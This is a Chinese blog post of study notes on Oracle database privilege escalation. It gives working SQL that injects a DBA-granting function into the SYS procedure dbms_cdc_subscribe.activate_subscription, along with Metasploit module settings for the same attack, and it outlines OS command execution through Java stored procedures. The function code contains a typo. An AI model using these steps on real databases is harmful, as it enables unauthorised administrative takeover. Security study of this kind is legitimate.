Day6——提权学习之Oracle数据库提权学习总结

0x00 Oracle提权基础

1、Oracle权限分配

1.1 系统权限

系统规定用户使用数据库的权限。(系统权限是对用户而言)。

系统权限分类
DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。
对于普通用户:授予connect, resource权限。
对于DBA管理用户:授予connect,resource, dba权限。

1.2 实体权限

某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。

实体权限分类
select, update, insert, alter, index, delete, all //all包括所有权限
execute //执行存储过程权限

0x01 Oracle提权方法

1、通过注入存储过程提权(低权限提升至DBA)

1.1 原理

SYS创建的存储过程存在sql注入。拥有create procedure权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan命令,获得Oracle数据库dba权限

1.2 利用条件

1、SYS创建的存储过程存在sql注入(EG:CVE-2005-4832)

2、用户拥有create procedure权限(用来创建函数)

1.3 提权步骤

假设有一个用户quan 只有 CONNECT 和 RESOURCE 权限

1.3.1 手工注入

(1)用户登陆后执行select * from session_privs查看权限

(2)创建函数,命令为grant dba to quan

grant execute on pwn to public;//赋予所有用户此函数的执行权限

SQL>create or replace function pwn return vaarchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to quan';
return '';
end;
/

SQL>grant execute on pwn to public;
/

(3)注入sys.dbms_cdc_subscribe.activate_subscription

SQL>begin
sys.dbms_cdc_subscribe.activate_subscription('''||quan.pwn()||''');
end;
/

SQL>set role dba;

(4)执行select * from session_privs查看是否为dba权限

1.3.2 利用MSF注入

(1)加载攻击模块

use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription

(2)配置参数

set dbuser quan

set dbpass quan123

set sid orcl

set rhost xxxxx

set sql grant dba to quan

(3)run

2、通过utl_http.request存储过程提权

2.1 原理

Oracle9i~11gR2中dbms_xmlquery.newcontext()dbms_xmlquery.getxml()函数可以执行任意PL/SQL语句,利用这两个函数可以获得Oracle服务器的操作系统权限

2.2 利用条件

1、UTL_HTTP存储过程可用

2、Oracle9i~11gR2

2.3 提权步骤

(1)创建Java包

(2)创建存储过程MYJAVACMD

(3)执行存储过程,成功添加用户

0x02 参考文章

《网络攻防实战研究——漏洞利用与提权》

posted @ 2019-12-22 21:35  吃不胖的ruanruan  阅读(2529)  评论(0编辑  收藏  举报